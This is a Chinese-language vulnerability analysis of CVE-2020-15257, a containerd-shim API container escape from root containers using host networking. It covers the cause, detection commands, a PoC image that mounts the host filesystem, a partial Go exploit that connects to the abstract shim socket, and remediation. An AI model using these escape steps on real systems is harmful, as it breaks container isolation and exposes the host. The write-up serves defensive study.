CVE-2020-15257-host下利用containerd-shim API逃逸docker


1 簡介

Containerd是一個開源的行業標准容器運行時,關注於簡單、穩定和可移植,同時支持Linux和Windows,用於Docker和Kubernetes的容器管理、運行。
漏洞編號:CVE-2020-15257
由於在 host 模式下,容器與 host 共享一套 Network namespaces ,此時 containerd-shim API 暴露給了用戶,而且訪問控制僅僅驗證了連接進程的有效UID為0,但沒有限制對抽象Unix域套接字的訪問。所以當一個容器為 root 權限,且容器的網絡模式為 --net=host 的時候,通過 ontainerd-shim API 可以達成容器逃逸的目的。

2 影響范圍

Containerd Project
受影響版本:
<=1.3.7
<=1.4.1
安全版本:
1.3.9
1.4.3

3 分析

3.1 基礎

  1. Docker相關進程關系
    在1.11版本中,Docker進行了重大的重構,由單一的Docker Daemon,拆分成了4個獨立的模塊:Docker Daemon、containerd、containerd-shim、runC

    A. Docker Daemon:面向前端用戶,負責和Docker client交互,對應的命令行工具是docker,提供了構建、拉取鏡像,管理、運行容器的大部分功能。
    B. Containerd:為了兼容OCI標准,Docker Daemon中的容器運行時及其管理功能剝離了出來,形成了containerd。docker對容器的管理和操作基本都是通過containerd完成的。它向上為Docker Daemon提供了gRPC接口,向下通過containerd-shim結合runC,實現對容器的管理控制。containerd還提供了可用於與其交互的API和客戶端應用程序ctr,所以實際上,即使不運行Docker Daemon,也能夠直接通過containerd來運行、管理容器。
    C. containerd-shim:夾雜在containerd和runc之間,每次啟動一個容器,都會創建一個新的containerd-shim進程,它通過指定的三個參數:容器id、bundle目錄、運行時二進制文件路徑,來調用運行時的API創建、運行容器,持續存在到容器實例進程退出為止,將容器的退出狀態反饋給containerd。
    D. runc:根據官方定義,runC是一個根據OCI(Open Container Initiative)標准創建並運行容器的CLI tool。Docker、containerd針對容器的運行相關操作,最終將落實到runc上來實現。

  2. Unix套接字
    在Linux系統中,有一種Unix域套接字,可以用於同一個主機上的進程之間進行通信,它的API調用方法和普通的TCP/IP的套接字一樣,也是調用socket函數創建一個套接字,域設置成AF_UNIX,套接字的類型可以是流套接字(SOCK_STREAM)和數據報套接字(SOCK_DGRAM):

socket(AF_UNIX, SOCK_STREAM, 0);  // Unix域流套接字
socket(AF_UNIX,SOCK_DGRAM, 0);   // Unix域數據報套接字

在調用socket()函數獲得新創建的Unix域套接字的文件描述符之后,再調用bind()函數將它綁定到一個本地地址上,此時需要創建並初始化一個sockaddr_un結構體,如下所示:

struct sockaddr_un { 
     sa_family_t sun_family; 
     char sun_path[108]; 
}                       

第一個字段需要設置成“AF_UNIX”,第二個字段表示的是一個路徑名,它分為兩種:
A. 普通的文件路徑:它是一個合法的Linux文件路徑,以NULL結尾。在綁定一個Unix域套接字時,會在文件系統中的相應位置上創建一個文件,當不再需要這個Unix域套接字時,可以使用remove()函數或者unlink()函數將這個對應的文件刪除。如果在文件系統中,已經有了一個文件和指定的路徑名相同,則綁定會失敗。
B. 抽象名字空間路徑:抽象名字空間路徑以NULL開始,后面可以跟任何數據,甚至可以是NULL,可以不以NULL結尾。相對於普通的文件路徑,這種地址在文件系統上並沒有實際的文件與它相對應,也就是說,它不會在文件系統中創建出一個新的文件。在Unix域套接字的文件描述符關閉的時候就會自動消失,所以無需擔心與文件系統中已存在的文件產生命名沖突,也不需要在使用完套接字之后刪除附帶產生的這個文件。

  1. docker網絡模式
    在使用docker run命令創建並運行容器時,可以使用--network選項指定容器的網絡模式。Docker有以下4種網絡模式:
    A. none:這種模式下容器內部只有loopback回環網絡,沒有其他網卡,不能訪問外網,完全封閉的網絡;
    B. container:指定一個已經存在的容器名字,新的容器會和這個已經存在的容器共享一個網絡命名空間,IP、端口范圍一起在這兩個容器中也可共享;
    C. bridge:這是docker默認的網絡模式,會為每一個容器分配網絡命名空間,設置IP,保證容器內的進程使用獨立的網絡環境,使得容器和容器之間、容器和主機之間實現網絡隔離;
    D. host:這種模式下,容器和主機已經沒有網絡隔離了,它們共享同一個網絡命名空間,容器的網絡配置和主機完全一樣,使用主機的IP地址和端口,可以查看到主機所有網卡信息、網絡資源,在網絡性能上沒有損耗。但也正是因為沒有網絡隔離,容器和主機容易產生網絡資源沖突、爭搶,以及其他的一些問題。本文所述漏洞也是在這種模式下產生的。

3.2 漏洞成因

前文所述,每次啟動一個容器時,containerd會創建一個新的containerd-shim進程,由containerd-shim進程(而不是containerd)來直接控制容器的整個生命周期。

containerd在創建containerd-shim之前,會創建一個Unix域套接字,設置的是抽象名字空間路徑:
https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/linux/bundle.go#L136

136 func   (b *bundle) shimAddress(namespace string) string {
137     d   := sha256.Sum256([]byte(filepath.Join(namespace, b.id)))
138     return   filepath.Join(string(filepath.Separator), "containerd-shim",   fmt.Sprintf("%x.sock", d))

139 }

https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/shim/client/client.go#L217

217 func   newSocket(address string) (*net.UnixListener, error) {
218     if   len(address) > 106 {
219         return   nil, errors.Errorf("%q: unix socket path too long (> 106)",   address)
220     }
221     l,   err := net.Listen("unix", "\x00"+address)
222     if   err != nil {
223         return   nil, errors.Wrapf(err, "failed to listen to abstract unix socket   %q", address)
224     }
225
226     return   l.(*net.UnixListener), nil
227 }

注意221行中,address前面加上了一個”\x00”,這個就表示抽象名字空間路徑的Unix域套接字。

containerd傳遞Unix域套接字文件描述符給containerd-shim。containerd-shim在正式啟動之后,會基於父進程(也就是containerd)傳遞的Unix域套接字文件描述符,建立gRPC服務,對外暴露一些API用於container、task的控制:
https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/shim/v1/shim.proto#L18

service Shim {

    //   State returns shim and task state information.

    rpc   State(StateRequest) returns (StateResponse);

    rpc   Create(CreateTaskRequest) returns (CreateTaskResponse);

    rpc   Start(StartRequest) returns (StartResponse);

    rpc   Delete(google.protobuf.Empty) returns (DeleteResponse);

    rpc   DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);

    rpc   ListPids(ListPidsRequest) returns (ListPidsResponse);

    rpc   Pause(google.protobuf.Empty) returns (google.protobuf.Empty);

    rpc   Resume(google.protobuf.Empty) returns (google.protobuf.Empty);

    rpc   Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);

    rpc   Kill(KillRequest) returns (google.protobuf.Empty);

    rpc   Exec(ExecProcessRequest) returns (google.protobuf.Empty);

    rpc   ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);

    rpc   CloseIO(CloseIORequest) returns (google.protobuf.Empty);

    //   ShimInfo returns information about the shim.

    rpc   ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);

    rpc   Update(UpdateTaskRequest) returns (google.protobuf.Empty);

    rpc   Wait(WaitRequest) returns (WaitResponse);

}

此時,containerd-shim做為server向外提供服務,containerd做為client,調用containerd-shim提供的API實現對容器的間接管理。

抽象Unix域套接字沒有權限限制,所以只能靠連接進程的UID、GID做訪問控制,限定了只能是root(UID=0,GID=0)用戶才能連接成功。
https://github.com/containerd/containerd/blob/v1.4.2/vendor/github.com/containerd/ttrpc/unixcreds_linux.go#L80

80  //   UnixSocketRequireSameUser resolves the current effective unix user and   returns a

81  //   UnixCredentialsFunc that will validate incoming unix connections against the

82  //   current credentials.

83  //

84  //   This is useful when using abstract sockets that are accessible by all users.

85  func   UnixSocketRequireSameUser() UnixCredentialsFunc {

86      euid,   egid := os.Geteuid(), os.Getegid()

87      return   UnixSocketRequireUidGid(euid, egid)

88  }

通過訪問/proc/net/unix文件,可以獲取到當前網絡命名空間下所有的Unix域套接字信息。

在默認情況下,docker run啟動的容器的網絡模式是bridge,容器和主機之間實現了網絡隔離,所以在容器內部讀取/proc/net/unix文件,看不到任何信息,如下所示:

[root@centos ~]# docker run -ti --rm busybox
  / # cat /proc/net/unix
  Num       RefCount   Protocol Flags    Type St Inode Path
  / # 

但是在host模式下,由於容器和主機共享同一個網絡命名空間,容器能訪問到主機中的所有網絡資源,所以在容器內部讀取/proc/net/unix文件,顯示的就是真實主機中的信息,如下所示:

[root@centos ~]# docker run -ti --rm --network=host  busybox
  / # cat /proc/net/unix
  Num       RefCount   Protocol Flags    Type St Inode Path
  ......................................................................................
  ffff8fccfce39980: 00000003 00000000 00000000   0001 03 19728
  ffff8fccfce35940: 00000003 00000000 00000000   0001 03 19713
  ffff8fccdc4dd940: 00000003 00000000 00000000   0001 03 30927
  ffff8fccfce41100: 00000003 00000000 00000000   0001 03 19756
  ffff8fccf6003fc0: 00000003 00000000 00000000   0001 03 15925
  ......................................................................................
  ffff8fccdc590cc0: 00000003 00000000 00000000   0001 03 39217   @/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock
  ......................................................................................
  ffff8fccdc4df2c0: 00000003 00000000 00000000   0001 03 28826 /run/containerd/containerd.sock
  ......................................................................................
  ffff8fccdc4dcc80: 00000003 00000000 00000000   0001 03 39197 /var/run/docker.sock
  ......................................................................................
  1. /var/run/docker.sock:Docker Daemon監聽的Unix域套接字,用於Docker client之間通信
  2. /run/containerd/containerd.sock:containerd監聽的Unix域套接字,Docker Daemon、ctr可以通過它和containerd通信
  3. @/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock:這個就是上文所述的,containerd-shim監聽的Unix域套接字,containerd通過它和containerd-shim通信,控制管理容器。

/var/run/docker.sock/run/containerd/containerd.sock這兩者是普通的文件路徑,雖然容器共享了主機的網絡命名空間,但沒有共享mnt命名空間,容器和主機之間的磁盤掛載點和文件系統仍然存在隔離,所以在容器內部仍然不能通過/var/run/docker.sock/run/containerd/containerd.sock這樣的路徑連接對應的Unix域套接字。

但是@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock這一類的抽象Unix域套接字不一樣,它沒有依靠mnt命名空間做隔離,而是依靠網絡命名空間做隔離,也就是說,host模式下,容器共享了主機的網絡命名空間,也就能夠去連接@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock這一類的抽象Unix域套接字。

而且在默認情況下,容器內部的進程都是以root用戶啟動的,所以也能通過UnixSocketRequireSameUser的校驗。

在這兩者的共同作用下,容器內部的進程就可以像主機中的containerd一樣,連接containerd-shim監聽的抽象Unix域套接字,調用containerd-shim提供的各種API,從而實現容器逃逸。

3.3 個人總結

  1. containerd-shim提供的API能實現對容器的間接管理

  2. containerd-shim監聽的Unix域套接字僅對訪問進程的UID做限制,限定了只能是root(UID=0,GID=0)用戶才能連接成功

  3. 當容器使用host模式啟動時,由於容器和主機共享同一個網絡命名空間,容器能訪問到主機中的所有網絡資源,所以容器內的進程能夠獲取並連接containerd-shim監聽的抽象Unix域套接字

基於以上三點,當攻擊者在host模式且有漏洞的容器內,提權至root后,可以通過cat /proc/net/unix | grep 'containerd-shim' | grep '@'獲取宿主機containerd-shim監聽的Unix域套接字,並連接它來調用containerd-shim提供的API,進而逃逸容器

4 復現

4.1 檢測

  1. 本地自測
    一看版本,二看能否獲取套接字
sudo docker run -itd --network=host ubuntu:latest /bin/bash
docker exec -it 33bebb0e2d3c /bin/bash
cat /proc/net/unix | grep 'containerd-shim' | grep '@'

可看到抽象命名空間Unix域套接字,根據漏洞描述通過圖片中的抽象命名空間Unix域套接字可訪問dockerd-shim rpc api

  1. 也可使用小佑科技提供的POC鏡像
    sudo docker run -it --rm -v /:/host/ -v /var/run/docker.sock:/var/run/docker.sock --net=host dosecteam/pocs:CVE-2020-15257

  2. 集群自測
    查看共享了主機網絡的pod
    kubectl get pod --all-namespaces -o custom-columns=namespace:.metadata.namespace,CONTAINER:.spec.containers[0].name,NetWork:.spec.hostNetwork,hostname:.spec.nodeName,nodeIP:.status.hostIP | grep true

  3. 張一白的POC

4.2 利用

通過查閱代碼,我們大概知道我們如果能正常訪問 containerd-shim 接口,我們大概能有這些操作
https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/shim/v1/shim.proto
這些接口,從名字基本可以猜測與容器管理說有關系的, 比如 Create 、Start 、Delete

service Shim {
    // State returns shim and task state information.
    rpc State(StateRequest) returns (StateResponse);

    rpc Create(CreateTaskRequest) returns (CreateTaskResponse);

    rpc Start(StartRequest) returns (StartResponse);

    rpc Delete(google.protobuf.Empty) returns (DeleteResponse);

    rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);

    rpc ListPids(ListPidsRequest) returns (ListPidsResponse);

    rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);

    rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);

    rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);

    rpc Kill(KillRequest) returns (google.protobuf.Empty);

    rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);

    rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);

    rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);

    // ShimInfo returns information about the shim.
    rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);

    rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);

    rpc Wait(WaitRequest) returns (WaitResponse);
}

非完整的利用EXP,來自小佑科技,期待大佬補全
參考containerd官網源碼,可以在容器內訪問到該socket文件。然后可啟動一個新的容器,該容器掛載宿主機根目錄到容器內的/host目錄,即可實現對宿主機完全讀寫,達到容器逃逸的目的。

package main

import (
    "fmt"
    "net"
    "os"
    "regexp")

func getshimunixpath() (string, error) {
    file, err := os.Open("/proc/net/unix")
    if err != nil {
        return "", err
    }
    var b []byte = make([]byte, 0x1fff)
    file.Read(b)
    defer file.Close()
    socklist := string(b)

    regString := "/containerd-shim/moby/[a-f 0-9]{64}/shim.sock"
    reg, _ := regexp.Compile(regString)
    path := reg.FindString(socklist)

    if path == "" {
        err = fmt.Errorf("no sock file found")
        return "", err
    }
    path = "\x00" + path
    return path, err
}

func main() {
    shimunixpath, err := getshimunixpath()
    if err != nil {
        fmt.Println(err)
        return
    }
    conn, err := net.Dial("unix", shimunixpath)
    if err != nil {
        fmt.Println(err)
        return
    }
    //do something with this connection
    //此處省略關鍵信息,自行腦補
    //此處省略關鍵信息,自行腦補
    //此處省略關鍵信息,自行腦補

    defer conn.Close()
}

4.3 集成工具

https://github.com/Xyntax/CDK/wiki/Evaluate:-Net-Namespace
./cdk_linux_amd64 evaluate --full
沒測出來
https://github.com/PercussiveElbow/docker-escape-tool
./docker-escape auto

5 修復與防御

修復:

  1. 升級 containerd 至最新版本。
    containerd >= 1.4.3
    containerd >= 1.3.9
  2. 如果運行的容器配置易受攻擊,則可以通過添加類似於deny unix addr=@** 策略的行來拒絕通過AppArmor訪問所有抽象套接字。

防御:
在沒有打補丁的情況下,可以采取以下一些防御措施:

  1. 容器的網絡模式盡量不采用host模式,盡量實現嚴格的容器和主機命名空間的隔離
  2. 以非root用戶運行容器
  3. 采用AppArmor、SELinux,限制容器內部進程對抽象Unix域套接字的訪問

最佳實踐是使用一組減少的特權,一個非零的UID和隔離的名稱空間來運行容器。強烈建議不要與主機共享名稱空間。

6 參考

docker 容器逃逸漏洞(CVE-2020-15257)風險通告
【首發】CVE-2020-15257 容器逃逸漏洞復現與解析附Poc
host模式容器逃逸漏洞(CVE-2020-15257)技術分析
CVE-2020-15257 Docker (容器逃逸)分析


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM